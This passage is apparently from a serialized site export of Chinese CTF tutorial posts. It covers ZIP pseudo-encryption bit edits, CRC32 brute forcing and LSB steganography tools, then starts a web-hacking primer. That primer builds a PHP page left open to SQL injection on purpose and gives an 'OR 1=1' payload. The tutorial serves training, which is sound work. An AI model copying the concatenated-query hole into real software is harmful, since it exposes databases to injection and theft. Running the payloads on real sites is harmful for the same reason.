hidden.png\n",[29,11901,11902],{"__ignoreMap":27},[32,11903,11904,11906,11908],{"class":34,"line":35},[32,11905,5020],{"class":86},[32,11907,5023],{"class":1016},[32,11909,4406],{"class":90},[15,11911,11912,11913,320],{},"预期输出中包含 ",[29,11914,11915],{},"flag{lsb_steganography}",[10,11917,11919],{"id":11918},"四核心技能-2zip-伪加密完整实现","四、核心技能 2：ZIP 伪加密（完整实现）",[15,11921,11922,11924],{},[138,11923,140],{},"：理解 ZIP 的\"加密标志位\"结构，学会修复伪加密。",[15,11926,11927,11929],{},[138,11928,146],{},"：先看正常 zip 的十六进制，找到标志位位置；把加密位置 1 模拟伪加密（此时解压报\"需要密码\"）；再把位置 0 修复，验证能正常读出内容。",[283,11931,11933],{"id":11932},"_41-zip-结构","4.1 ZIP 结构",[15,11935,11936],{},"本地文件头：",[22,11938,11941],{"className":11939,"code":11940,"language":110,"meta":27},[108],"偏移   字段\n0x00  签名 50 4B 03 04\n0x04  版本（2 字节）\n0x06  通用标志位（2 字节，第 0 位 = 加密位）\n",[29,11942,11940],{"__ignoreMap":27},[15,11944,11945,11946,11949],{},"中央目录头（签名 ",[29,11947,11948],{},"50 4B 01 02","）中标志位位于偏移 0x08。",[283,11951,11953],{"id":11952},"_42-生成-zip-并查看结构","4.2 生成 zip 并查看结构",[15,11955,11956,11958],{},[138,11957,140],{},"：建立\"正常 zip\"的基线，确认本地文件头与中央目录头中标志位的位置。",[22,11960,11962],{"className":24,"code":11961,"language":26,"meta":27,"style":27},"import zipfile\n\nwith zipfile.ZipFile('flag.zip', 'w') as z:\n    z.writestr('flag.txt', 'ctf{zip}')\n\ndata = open('flag.zip', 'rb').read()\nprint(' '.join(f'{b:02x}' for b in data[:60]))\n",[29,11963,11964,11969,11973,11978,11983,11987,11992],{"__ignoreMap":27},[32,11965,11966],{"class":34,"line":35},[32,11967,11968],{},"import zipfile\n",[32,11970,11971],{"class":34,"line":41},[32,11972,197],{"emptyLinePlaceholder":196},[32,11974,11975],{"class":34,"line":47},[32,11976,11977],{},"with zipfile.ZipFile('flag.zip', 'w') as z:\n",[32,11979,11980],{"class":34,"line":53},[32,11981,11982],{},"    z.writestr('flag.txt', 'ctf{zip}')\n",[32,11984,11985],{"class":34,"line":175},[32,11986,197],{"emptyLinePlaceholder":196},[32,11988,11989],{"class":34,"line":181},[32,11990,11991],{},"data = open('flag.zip', 'rb').read()\n",[32,11993,11994],{"class":34,"line":187},[32,11995,11996],{},"print(' '.join(f'{b:02x}' for b in data[:60]))\n",[15,11998,254],{},[22,12000,12003],{"className":12001,"code":12002,"language":110,"meta":27},[108],"50 4b 03 04 14 00 00 00 00 00 d8 73 0e 5d b0 75 c1 31 08 00 00 00 08 00 00 00 08 00 00 00 66 6c 61 67 2e 74 78 74 63 74 66 7b 7a 69 70 7d 50 4b 01 02 14 03 14 00 00 00 00 00 d8 73\n",[29,12004,12002],{"__ignoreMap":27},[15,12006,12007],{},"解释：",[22,12009,12012],{"className":12010,"code":12011,"language":110,"meta":27},[108],"50 4b 03 04                    ← 本地文件头签名\n14 00                          ← 版本\n00 00                          ← 通用标志位（00 00 = 未加密）\n...\n50 4b 01 02                    ← 中央目录头签名\n14 03 14 00                    ← 版本信息\n00 00                          ← 中央目录标志位（未加密）\n",[29,12013,12011],{"__ignoreMap":27},[283,12015,12017],{"id":12016},"_43-设置加密位伪加密","4.3 设置加密位（伪加密）",[15,12019,12020,12022],{},[138,12021,146],{},"：只改数据不加密，而是把\"加密标志位\"置 1，让解压程序误以为需要密码。",[22,12024,12026],{"className":24,"code":12025,"language":26,"meta":27,"style":27},"data = bytearray(open('flag.zip', 'rb').read())\n\n# 本地文件头：偏移 6 处标志位置位\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] |= 1\n\n# 中央目录头：偏移 8 处标志位置位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] |= 1\n\nopen('flag_enc.zip', 'wb').write(data)\n",[29,12027,12028,12033,12037,12042,12047,12052,12056,12061,12066,12071,12075],{"__ignoreMap":27},[32,12029,12030],{"class":34,"line":35},[32,12031,12032],{},"data = bytearray(open('flag.zip', 'rb').read())\n",[32,12034,12035],{"class":34,"line":41},[32,12036,197],{"emptyLinePlaceholder":196},[32,12038,12039],{"class":34,"line":47},[32,12040,12041],{},"# 本地文件头：偏移 6 处标志位置位\n",[32,12043,12044],{"class":34,"line":53},[32,12045,12046],{},"idx = data.find(b'PK\\x03\\x04')\n",[32,12048,12049],{"class":34,"line":175},[32,12050,12051],{},"data[idx + 6] |= 1\n",[32,12053,12054],{"class":34,"line":181},[32,12055,197],{"emptyLinePlaceholder":196},[32,12057,12058],{"class":34,"line":187},[32,12059,12060],{},"# 中央目录头：偏移 8 处标志位置位\n",[32,12062,12063],{"class":34,"line":193},[32,12064,12065],{},"idx2 = data.find(b'PK\\x01\\x02')\n",[32,12067,12068],{"class":34,"line":200},[32,12069,12070],{},"data[idx2 + 8] |= 1\n",[32,12072,12073],{"class":34,"line":206},[32,12074,197],{"emptyLinePlaceholder":196},[32,12076,12077],{"class":34,"line":212},[32,12078,12079],{},"open('flag_enc.zip', 'wb').write(data)\n",[15,12081,12082],{},"修改后的 hexdump：",[22,12084,12087],{"className":12085,"code":12086,"language":110,"meta":27},[108],"50 4b 03 04 14 00 01 00 00 00 d8 73 ...   ← 本地标志位 01\n50 4b 01 02 14 03 14 00 01 00 00 00 d8 73 ...  ← 中央标志位 01\n",[29,12088,12086],{"__ignoreMap":27},[15,12090,12091],{},"尝试读取：",[22,12093,12095],{"className":24,"code":12094,"language":26,"meta":27,"style":27},"import zipfile\n\ntry:\n    with zipfile.ZipFile('flag_enc.zip') as z:\n        print(z.read('flag.txt'))\nexcept Exception as e:\n    print(type(e).__name__, e)\n",[29,12096,12097,12101,12105,12110,12115,12120,12125],{"__ignoreMap":27},[32,12098,12099],{"class":34,"line":35},[32,12100,11968],{},[32,12102,12103],{"class":34,"line":41},[32,12104,197],{"emptyLinePlaceholder":196},[32,12106,12107],{"class":34,"line":47},[32,12108,12109],{},"try:\n",[32,12111,12112],{"class":34,"line":53},[32,12113,12114],{},"    with zipfile.ZipFile('flag_enc.zip') as z:\n",[32,12116,12117],{"class":34,"line":175},[32,12118,12119],{},"        print(z.read('flag.txt'))\n",[32,12121,12122],{"class":34,"line":181},[32,12123,12124],{},"except Exception as e:\n",[32,12126,12127],{"class":34,"line":187},[32,12128,12129],{},"    print(type(e).__name__, e)\n",[15,12131,254],{},[22,12133,12136],{"className":12134,"code":12135,"language":110,"meta":27},[108],"RuntimeError File 'flag.txt' is encrypted, password required for extraction\n",[29,12137,12135],{"__ignoreMap":27},[15,12139,12140],{},"程序要求密码——但数据根本没加密，这就是伪加密。",[283,12142,12144],{"id":12143},"_44-修复","4.4 修复",[15,12146,12147,12149,12150,12153],{},[138,12148,146],{},"：把两处标志位最低位清零（",[29,12151,12152],{},"& 0xfe","），恢复成未加密状态。",[22,12155,12157],{"className":24,"code":12156,"language":26,"meta":27,"style":27},"data = bytearray(open('flag_enc.zip', 'rb').read())\n\nidx = data.find(b'PK\\x03\\x04')\ndata[idx + 6] &= 0xfe          # 清除本地头加密位\nidx2 = data.find(b'PK\\x01\\x02')\ndata[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n\nopen('flag_fixed.zip', 'wb').write(data)\n\nwith zipfile.ZipFile('flag_fixed.zip') as z:\n    print(z.read('flag.txt'))\n",[29,12158,12159,12164,12168,12172,12177,12181,12186,12190,12195,12199,12204],{"__ignoreMap":27},[32,12160,12161],{"class":34,"line":35},[32,12162,12163],{},"data = bytearray(open('flag_enc.zip', 'rb').read())\n",[32,12165,12166],{"class":34,"line":41},[32,12167,197],{"emptyLinePlaceholder":196},[32,12169,12170],{"class":34,"line":47},[32,12171,12046],{},[32,12173,12174],{"class":34,"line":53},[32,12175,12176],{},"data[idx + 6] &= 0xfe          # 清除本地头加密位\n",[32,12178,12179],{"class":34,"line":175},[32,12180,12065],{},[32,12182,12183],{"class":34,"line":181},[32,12184,12185],{},"data[idx2 + 8] &= 0xfe         # 清除中央目录加密位\n",[32,12187,12188],{"class":34,"line":187},[32,12189,197],{"emptyLinePlaceholder":196},[32,12191,12192],{"class":34,"line":193},[32,12193,12194],{},"open('flag_fixed.zip', 'wb').write(data)\n",[32,12196,12197],{"class":34,"line":200},[32,12198,197],{"emptyLinePlaceholder":196},[32,12200,12201],{"class":34,"line":206},[32,12202,12203],{},"with zipfile.ZipFile('flag_fixed.zip') as z:\n",[32,12205,12206],{"class":34,"line":212},[32,12207,12208],{},"    print(z.read('flag.txt'))\n",[15,12210,254],{},[22,12212,12215],{"className":12213,"code":12214,"language":110,"meta":27},[108],"b'ctf{zip}'\n",[29,12216,12214],{"__ignoreMap":27},[15,12218,12219,12220,12223],{},"实战提示：很多伪加密题只改本地头或中央目录头之一，",[29,12221,12222],{},"binwalk -e"," 常常直接绕过标志位提取，先试它再手工改。",[10,12225,12227],{"id":12226},"五核心技能-3crc32-爆破","五、核心技能 3：CRC32 爆破",[15,12229,12230,12232],{},[138,12231,140],{},"：当压缩包内文件内容很短、又拿不到明文时，用校验值反推内容。",[15,12234,12235,12237],{},[138,12236,146],{},"：ZIP 记录每个文件的 CRC32（明文校验和）。枚举所有短内容，算 CRC 与记录值比对，相等即明文。",[15,12239,12240],{},"ZIP 中央目录记录每个文件的 CRC32。当文件内容很短（1-4 字符）时，枚举内容匹配校验值：",[22,12242,12244],{"className":24,"code":12243,"language":26,"meta":27,"style":27},"import zipfile, zlib, itertools\n# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n\nz = zipfile.ZipFile('flag.zip')\ntarget = z.getinfo('flag.txt').CRC\n# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\nprint(\"目标 CRC:\", target)\n\ncharset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n# 题目语境下的候选字符集，缩小枚举空间。\nfor length in range(1, 5):\n    for tup in itertools.product(charset, repeat=length):\n        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n        s = ''.join(tup).encode()\n        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n        if zlib.crc32(s) & 0xffffffff == target:\n            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n            print(\"爆破结果:\", s)\n            exit()\n",[29,12245,12246,12251,12256,12260,12265,12270,12275,12280,12284,12289,12294,12299,12304,12309,12314,12319,12324,12329,12334],{"__ignoreMap":27},[32,12247,12248],{"class":34,"line":35},[32,12249,12250],{},"import zipfile, zlib, itertools\n",[32,12252,12253],{"class":34,"line":41},[32,12254,12255],{},"# zipfile：读写 zip；zlib：提供 crc32 校验函数；itertools：组合枚举。\n",[32,12257,12258],{"class":34,"line":47},[32,12259,197],{"emptyLinePlaceholder":196},[32,12261,12262],{"class":34,"line":53},[32,12263,12264],{},"z = zipfile.ZipFile('flag.zip')\n",[32,12266,12267],{"class":34,"line":175},[32,12268,12269],{},"target = z.getinfo('flag.txt').CRC\n",[32,12271,12272],{"class":34,"line":181},[32,12273,12274],{},"# getinfo('flag.txt')：读取该文件的目录信息；.CRC 属性是它的 CRC32 值。\n",[32,12276,12277],{"class":34,"line":187},[32,12278,12279],{},"print(\"目标 CRC:\", target)\n",[32,12281,12282],{"class":34,"line":193},[32,12283,197],{"emptyLinePlaceholder":196},[32,12285,12286],{"class":34,"line":200},[32,12287,12288],{},"charset = 'ctf123{}_abcdefghijklmnopqrstuvwxyz'\n",[32,12290,12291],{"class":34,"line":206},[32,12292,12293],{},"# 题目语境下的候选字符集，缩小枚举空间。\n",[32,12295,12296],{"class":34,"line":212},[32,12297,12298],{},"for length in range(1, 5):\n",[32,12300,12301],{"class":34,"line":218},[32,12302,12303],{},"    for tup in itertools.product(charset, repeat=length):\n",[32,12305,12306],{"class":34,"line":224},[32,12307,12308],{},"        # product(charset, repeat=length)：生成长度为 length 的所有组合。\n",[32,12310,12311],{"class":34,"line":230},[32,12312,12313],{},"        s = ''.join(tup).encode()\n",[32,12315,12316],{"class":34,"line":236},[32,12317,12318],{},"        # ''.join(tup)：组合元组拼成字符串；encode() 转字节。\n",[32,12320,12321],{"class":34,"line":242},[32,12322,12323],{},"        if zlib.crc32(s) & 0xffffffff == target:\n",[32,12325,12326],{"class":34,"line":248},[32,12327,12328],{},"            # zlib.crc32 返回有符号整数，& 0xffffffff 转成无符号再比对。\n",[32,12330,12331],{"class":34,"line":628},[32,12332,12333],{},"            print(\"爆破结果:\", s)\n",[32,12335,12336],{"class":34,"line":633},[32,12337,12338],{},"            exit()\n",[15,12340,12341,12342,12345],{},"实际输出（目标内容 ",[29,12343,12344],{},"ctf1","）：",[22,12347,12350],{"className":12348,"code":12349,"language":110,"meta":27},[108],"目标 CRC: 961973094\n爆破结果: b'ctf1'\n",[29,12351,12349],{"__ignoreMap":27},[15,12353,12354,12355,12358,12359,12362],{},"注意 ",[29,12356,12357],{},"zlib.crc32"," 返回有符号整数，需要 ",[29,12360,12361],{},"& 0xffffffff"," 归一化。",[10,12364,2075],{"id":2074},[732,12366,12367,12377],{},[735,12368,12369],{},[738,12370,12371,12373,12375],{},[741,12372,816],{},[741,12374,2086],{},[741,12376,5046],{},[748,12378,12379,12391,12405,12418],{},[738,12380,12381,12383,12386],{},[753,12382,1218],{},[753,12384,12385],{},"看类型",[753,12387,12388],{},[29,12389,12390],{},"file flag.png",[738,12392,12393,12395,12398],{},[753,12394,4463],{},[753,12396,12397],{},"看文件头与结构",[753,12399,12400,66,12402],{},[29,12401,5073],{},[29,12403,12404],{},"xxd flag.zip | head",[738,12406,12407,12409,12412],{},[753,12408,4555],{},[753,12410,12411],{},"扫描/提取隐藏文件",[753,12413,12414,66,12416],{},[29,12415,5101],{},[29,12417,5104],{},[738,12419,12420,12422,12425],{},[753,12421,5020],{},[753,12423,12424],{},"LSB 自动检测",[753,12426,12427],{},[29,12428,12429],{},"zsteg -a flag.png",[10,12431,12433],{"id":12432},"七小-ctf-实战综合题","七、小 CTF 实战：综合题",[15,12435,12436,12438],{},[138,12437,140],{},"：把前三节串成一道完整题目。",[15,12440,12441,12443],{},[138,12442,146],{},"：先排除简单情况（file/strings/binwalk），再怀疑 LSB 提取；若提取结果是 zip 头（PK），保存后检查伪加密。",[15,12445,888,12446,320],{},[29,12447,5113],{},[15,12449,5116],{},[22,12451,12453],{"className":77,"code":12452,"language":79,"meta":27,"style":27},"file flag.png          # PNG image data\nstrings flag.png | grep -i flag    # 无输出\nbinwalk flag.png                   # 无隐藏文件\n",[29,12454,12455,12464,12481],{"__ignoreMap":27},[32,12456,12457,12459,12461],{"class":34,"line":35},[32,12458,1218],{"class":86},[32,12460,4434],{"class":90},[32,12462,12463],{"class":2592},"          # PNG image data\n",[32,12465,12466,12468,12470,12472,12474,12476,12478],{"class":34,"line":41},[32,12467,1262],{"class":86},[32,12469,4434],{"class":90},[32,12471,1449],{"class":1120},[32,12473,1452],{"class":86},[32,12475,4532],{"class":1016},[32,12477,6180],{"class":90},[32,12479,12480],{"class":2592},"    # 无输出\n",[32,12482,12483,12485,12487],{"class":34,"line":47},[32,12484,4555],{"class":86},[32,12486,4434],{"class":90},[32,12488,12489],{"class":2592},"                   # 无隐藏文件\n",[15,12491,12492],{},"第二步：怀疑 LSB，运行提取脚本：",[22,12494,12496],{"className":12495,"code":4994,"language":110,"meta":27},[108],[29,12497,4994],{"__ignoreMap":27},[15,12499,12500,12501,12503],{},"变体：若提取出的字节不是文本而是 ",[29,12502,4341],{}," 开头，把它保存为 zip，再检查是否伪加密：",[22,12505,12507],{"className":24,"code":12506,"language":26,"meta":27,"style":27},"with open('extracted.zip', 'wb') as f:\n    f.write(data)\n",[29,12508,12509,12514],{"__ignoreMap":27},[32,12510,12511],{"class":34,"line":35},[32,12512,12513],{},"with open('extracted.zip', 'wb') as f:\n",[32,12515,12516],{"class":34,"line":41},[32,12517,12518],{},"    f.write(data)\n",[15,12520,12521],{},"然后按第四节流程检查并修复标志位。",[10,12523,2368],{"id":2367},[15,12525,12526,12527,12529,12530,2161,12532,12534],{},"取证主线：",[29,12528,1218],{}," 确认类型 → ",[29,12531,1262],{},[29,12533,4555],{}," 排除简单情况 → LSB 提取 → 压缩包伪加密修复。这三板斧可覆盖大部分入门与中级 Misc 题。",[1051,12536,12537],{},"html pre.shiki code .sAOxA, html code.shiki .sAOxA{--shiki-default:#50FA7B}html pre.shiki code .s-mGx, html code.shiki .s-mGx{--shiki-default:#F1FA8C}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html pre.shiki code .sIQBb, html code.shiki .sIQBb{--shiki-default:#BD93F9}html pre.shiki code .shSDL, html code.shiki .shSDL{--shiki-default:#6272A4}html pre.shiki code .s0Tla, html code.shiki .s0Tla{--shiki-default:#FF79C6}",{"title":27,"searchDepth":41,"depth":41,"links":12539},[12540,12541,12542,12543,12544,12545,12546,12547],{"id":11542,"depth":47,"text":11543},{"id":73,"depth":47,"text":74},{"id":11588,"depth":47,"text":11589},{"id":11918,"depth":47,"text":11919},{"id":12226,"depth":47,"text":12227},{"id":2074,"depth":47,"text":2075},{"id":12432,"depth":47,"text":12433},{"id":2367,"depth":47,"text":2368},"完整实现 LSB 隐写的隐藏与提取、ZIP 伪加密的十六进制修改与修复、CRC32 短内容爆破。",{"date":1069,"image":3262,"alt":12550,"tags":12551,"published":196},"隐写与取证深入实战",[1073,5212,12552,1076],"隐写","/blogs/ctf-misc-stego-forensics-deep-dive",{"title":11537,"description":12548},"blogs/20. ctf-misc-stego-forensics-deep-dive","o_6kN9OqAx31pkyKuqmJvPnMsOsMrKsw-PBDwWsaepk",{"id":12558,"title":12559,"body":12560,"description":14407,"extension":1067,"meta":14408,"navigation":196,"ogImage":14409,"path":14412,"seo":14413,"stem":14414,"__hash__":14415},"content/blogs/9. ctf-web-overview.md","CTF Web 入门：必学漏洞与基础工具",{"type":7,"value":12561,"toc":14395},[12562,12566,12569,12588,12594,12600,12602,12660,12670,12674,12677,12765,12768,12772,12776,12779,12782,12810,12815,12927,12930,12943,12947,12949,12963,12965,12970,12974,12982,12995,13000,13003,13033,13036,13041,13044,13047,13072,13077,13080,13105,13108,13116,13120,13125,13133,13136,13161,13164,13194,13199,13202,13227,13231,13234,13269,13273,13276,13306,13310,13313,13336,13340,13353,13363,13367,13372,13389,13393,13399,13408,13412,13428,13433,13437,13453,13455,13501,13510,13514,13517,13564,13571,13575,13578,13649,13656,13660,13665,13689,13693,13699,13732,13736,13767,13769,13775,13779,13810,13813,13817,13848,13851,13855,13880,13884,13887,13890,13904,13908,13913,13945,13954,13960,13991,13994,13998,14001,14055,14058,14062,14065,14068,14086,14088,14093,14096,14114,14119,14122,14148,14155,14159,14166,14186,14190,14195,14225,14230,14234,14243,14263,14265,14293,14296,14305,14314,14328,14332,14337,14380,14387,14389,14392],[10,12563,12565],{"id":12564},"一开始之前http-请求到底是什么","一、开始之前：HTTP 请求到底是什么",[15,12567,12568],{},"Web 题目就是一个网站，解题就是向它发请求。先看一个请求长什么样。用 curl 访问一个带参数的 URL：",[22,12570,12572],{"className":77,"code":12571,"language":79,"meta":27,"style":27},"curl -v \"http://127.0.0.1:8000/index.php?id=1\"\n",[29,12573,12574],{"__ignoreMap":27},[32,12575,12576,12578,12581,12583,12586],{"class":34,"line":35},[32,12577,5464],{"class":86},[32,12579,12580],{"class":1016}," -v",[32,12582,5467],{"class":1461},[32,12584,12585],{"class":90},"http://127.0.0.1:8000/index.php?id=1",[32,12587,5473],{"class":1461},[15,12589,12590,12593],{},[29,12591,12592],{},"-v"," 会显示完整过程，输出示例：",[22,12595,12598],{"className":12596,"code":12597,"language":110,"meta":27},[108],"> GET /index.php?id=1 HTTP/1.1\n> Host: 127.0.0.1:8000\n> User-Agent: curl/8.0.1\n>\n\u003C HTTP/1.1 200 OK\n\u003C Content-Type: text/html\n\u003C\n\u003Ch1>文章标题\u003C/h1>\n",[29,12599,12597],{"__ignoreMap":27},[15,12601,12007],{},[732,12603,12604,12613],{},[735,12605,12606],{},[738,12607,12608,12611],{},[741,12609,12610],{},"部分",[741,12612,1543],{},[748,12614,12615,12632,12642,12652],{},[738,12616,12617,12622],{},[753,12618,12619],{},[29,12620,12621],{},"GET /index.php?id=1",[753,12623,12624,12625,12628,12629],{},"方法 GET，路径 ",[29,12626,12627],{},"/index.php","，参数 ",[29,12630,12631],{},"id=1",[738,12633,12634,12639],{},[753,12635,12636],{},[29,12637,12638],{},"Host",[753,12640,12641],{},"目标主机",[738,12643,12644,12649],{},[753,12645,12646],{},[29,12647,12648],{},"HTTP/1.1 200 OK",[753,12650,12651],{},"协议版本与状态码，200 表示成功",[738,12653,12654,12657],{},[753,12655,12656],{},"正文",[753,12658,12659],{},"服务器返回的 HTML",[15,12661,12662,12663,12669],{},"Web 漏洞几乎都源于一件事：",[138,12664,12665,12666,12668],{},"参数 ",[29,12667,5439],{}," 是用户可控的，服务器却直接把它拼进了 SQL、命令、HTML 或模板","。下面三个漏洞都是这个原因。",[10,12671,12673],{"id":12672},"二环境准备先搭一个能打的靶场","二、环境准备：先搭一个能打的靶场",[15,12675,12676],{},"推荐 sqli-labs（专练 SQL 注入）和 DVWA（综合靶场）。在 Linux（Kali/Ubuntu）上：",[22,12678,12680],{"className":77,"code":12679,"language":79,"meta":27,"style":27},"# 方式一：源码部署（需要 PHP + MySQL）\napt install php php-mysql mariadb-server\ngit clone https://github.com/Audi-1/sqli-labs.git\ncd sqli-labs\nphp -S 127.0.0.1:8000        # 启动后浏览器访问，点 Setup/reset Database\n\n# 方式二：Docker 部署（最简单）\ndocker pull tavenli/sqli-labs\ndocker run -d -p 8000:80 tavenli/sqli-labs\n",[29,12681,12682,12687,12702,12710,12716,12728,12732,12737,12748],{"__ignoreMap":27},[32,12683,12684],{"class":34,"line":35},[32,12685,12686],{"class":2592},"# 方式一：源码部署（需要 PHP + MySQL）\n",[32,12688,12689,12691,12693,12696,12699],{"class":34,"line":41},[32,12690,1163],{"class":86},[32,12692,91],{"class":90},[32,12694,12695],{"class":90}," php",[32,12697,12698],{"class":90}," php-mysql",[32,12700,12701],{"class":90}," mariadb-server\n",[32,12703,12704,12706,12708],{"class":34,"line":47},[32,12705,5291],{"class":86},[32,12707,5294],{"class":90},[32,12709,5297],{"class":90},[32,12711,12712,12714],{"class":34,"line":53},[32,12713,1808],{"class":1807},[32,12715,5304],{"class":90},[32,12717,12718,12720,12722,12725],{"class":34,"line":175},[32,12719,5233],{"class":86},[32,12721,5311],{"class":1016},[32,12723,12724],{"class":90}," 127.0.0.1:8000",[32,12726,12727],{"class":2592},"        # 启动后浏览器访问，点 Setup/reset Database\n",[32,12729,12730],{"class":34,"line":181},[32,12731,197],{"emptyLinePlaceholder":196},[32,12733,12734],{"class":34,"line":187},[32,12735,12736],{"class":2592},"# 方式二：Docker 部署（最简单）\n",[32,12738,12739,12742,12745],{"class":34,"line":193},[32,12740,12741],{"class":86},"docker",[32,12743,12744],{"class":90}," pull",[32,12746,12747],{"class":90}," tavenli/sqli-labs\n",[32,12749,12750,12752,12755,12757,12760,12763],{"class":34,"line":200},[32,12751,12741],{"class":86},[32,12753,12754],{"class":90}," run",[32,12756,1417],{"class":1016},[32,12758,12759],{"class":1016}," -p",[32,12761,12762],{"class":90}," 8000:80",[32,12764,12747],{"class":90},[15,12766,12767],{},"本文的示例都基于\"自建的最小页面\"，因为自建页面能完整看到源码，理解更透彻。下一节开始逐步搭建。",[10,12769,12771],{"id":12770},"三核心漏洞-1sql-注入完整复现","三、核心漏洞 1：SQL 注入（完整复现）",[283,12773,12775],{"id":12774},"_31-平台与代码","3.1 平台与代码",[15,12777,12778],{},"平台：Linux + PHP + MySQL。",[15,12780,12781],{},"第一步，建数据库。在 MySQL 里执行：",[22,12783,12784],{"className":5258,"code":5330,"language":5260,"meta":27,"style":27},[29,12785,12786,12790,12794,12798,12802,12806],{"__ignoreMap":27},[32,12787,12788],{"class":34,"line":35},[32,12789,5337],{},[32,12791,12792],{"class":34,"line":41},[32,12793,5342],{},[32,12795,12796],{"class":34,"line":47},[32,12797,5347],{},[32,12799,12800],{"class":34,"line":53},[32,12801,5352],{},[32,12803,12804],{"class":34,"line":175},[32,12805,5357],{},[32,12807,12808],{"class":34,"line":181},[32,12809,5362],{},[15,12811,12812,12813,1598],{},"第二步，写漏洞页面 ",[29,12814,5367],{},[22,12816,12818],{"className":5231,"code":12817,"language":5233,"meta":27,"style":27},"\u003C?php\n$conn = new mysqli(\"localhost\", \"root\", \"password\", \"ctf\");\n// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n// 返回值是数据库连接对象，后面所有查询都通过它执行。\n\n$id = $_GET['id'];\n// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n\n$sql = \"SELECT id, title, content FROM articles WHERE id = \" . $id;\n// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n\n$result = $conn->query($sql);\n// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n\nwhile ($row = $result->fetch_assoc()) {\n    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n    // 取不到更多行时返回 null，while 结束。\n    echo $row['id'] . \" \" . $row['title'] . \" \" . $row['content'] . \"\u003Cbr>\";\n    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n}\n?>\n",[29,12819,12820,12824,12828,12833,12838,12842,12846,12851,12856,12860,12864,12869,12874,12879,12883,12887,12892,12896,12900,12905,12910,12914,12919,12923],{"__ignoreMap":27},[32,12821,12822],{"class":34,"line":35},[32,12823,5377],{},[32,12825,12826],{"class":34,"line":41},[32,12827,5382],{},[32,12829,12830],{"class":34,"line":47},[32,12831,12832],{},"// 上面的 mysqli 构造函数：参数依次是数据库主机、用户名、密码、库名；\n",[32,12834,12835],{"class":34,"line":53},[32,12836,12837],{},"// 返回值是数据库连接对象，后面所有查询都通过它执行。\n",[32,12839,12840],{"class":34,"line":175},[32,12841,197],{"emptyLinePlaceholder":196},[32,12843,12844],{"class":34,"line":181},[32,12845,5240],{},[32,12847,12848],{"class":34,"line":187},[32,12849,12850],{},"// 从 URL 查询参数中取出 id（例如访问 ?id=1 时这里得到字符串 \"1\"）。\n",[32,12852,12853],{"class":34,"line":193},[32,12854,12855],{},"// 注意：$_GET 拿到的永远是字符串，且完全由用户控制。\n",[32,12857,12858],{"class":34,"line":200},[32,12859,197],{"emptyLinePlaceholder":196},[32,12861,12862],{"class":34,"line":206},[32,12863,5391],{},[32,12865,12866],{"class":34,"line":212},[32,12867,12868],{},"// 关键漏洞行：用字符串拼接把 $id 直接塞进 SQL 语句。\n",[32,12870,12871],{"class":34,"line":218},[32,12872,12873],{},"// 如果 $id 是 \"1 OR 1=1\"，这条语句就变成\n",[32,12875,12876],{"class":34,"line":224},[32,12877,12878],{},"// SELECT ... WHERE id = 1 OR 1=1，条件恒真，会返回全部记录。\n",[32,12880,12881],{"class":34,"line":230},[32,12882,197],{"emptyLinePlaceholder":196},[32,12884,12885],{"class":34,"line":236},[32,12886,5396],{},[32,12888,12889],{"class":34,"line":242},[32,12890,12891],{},"// 把拼好的 SQL 字符串发给 MySQL 执行；$result 是结果集对象。\n",[32,12893,12894],{"class":34,"line":248},[32,12895,197],{"emptyLinePlaceholder":196},[32,12897,12898],{"class":34,"line":628},[32,12899,5401],{},[32,12901,12902],{"class":34,"line":633},[32,12903,12904],{},"    // fetch_assoc() 每次取出一行，返回关联数组，例如 ['id'=>1, 'title'=>'hello', ...]\n",[32,12906,12907],{"class":34,"line":639},[32,12908,12909],{},"    // 取不到更多行时返回 null，while 结束。\n",[32,12911,12912],{"class":34,"line":645},[32,12913,5406],{},[32,12915,12916],{"class":34,"line":651},[32,12917,12918],{},"    // 把每行的三个字段拼起来输出到页面，攻击者靠这些输出判断查询结果。\n",[32,12920,12921],{"class":34,"line":657},[32,12922,2498],{},[32,12924,12925],{"class":34,"line":663},[32,12926,5415],{},[15,12928,12929],{},"第三步，启动：",[22,12931,12933],{"className":77,"code":12932,"language":79,"meta":27,"style":27},"php -S 127.0.0.1:8000\n",[29,12934,12935],{"__ignoreMap":27},[32,12936,12937,12939,12941],{"class":34,"line":35},[32,12938,5233],{"class":86},[32,12940,5311],{"class":1016},[32,12942,5314],{"class":90},[283,12944,12946],{"id":12945},"_32-正常请求","3.2 正常请求",[15,12948,1208],{},[22,12950,12951],{"className":77,"code":5457,"language":79,"meta":27,"style":27},[29,12952,12953],{"__ignoreMap":27},[32,12954,12955,12957,12959,12961],{"class":34,"line":35},[32,12956,5464],{"class":86},[32,12958,5467],{"class":1461},[32,12960,5470],{"class":90},[32,12962,5473],{"class":1461},[15,12964,1224],{},[22,12966,12968],{"className":12967,"code":5479,"language":110,"meta":27},[108],[29,12969,5479],{"__ignoreMap":27},[283,12971,12973],{"id":12972},"_33-判断注入点三步","3.3 判断注入点（三步）",[15,12975,12976,12978,12979,12981],{},[138,12977,140],{},"：确认 ",[29,12980,5439],{}," 参数确实能被拼进 SQL 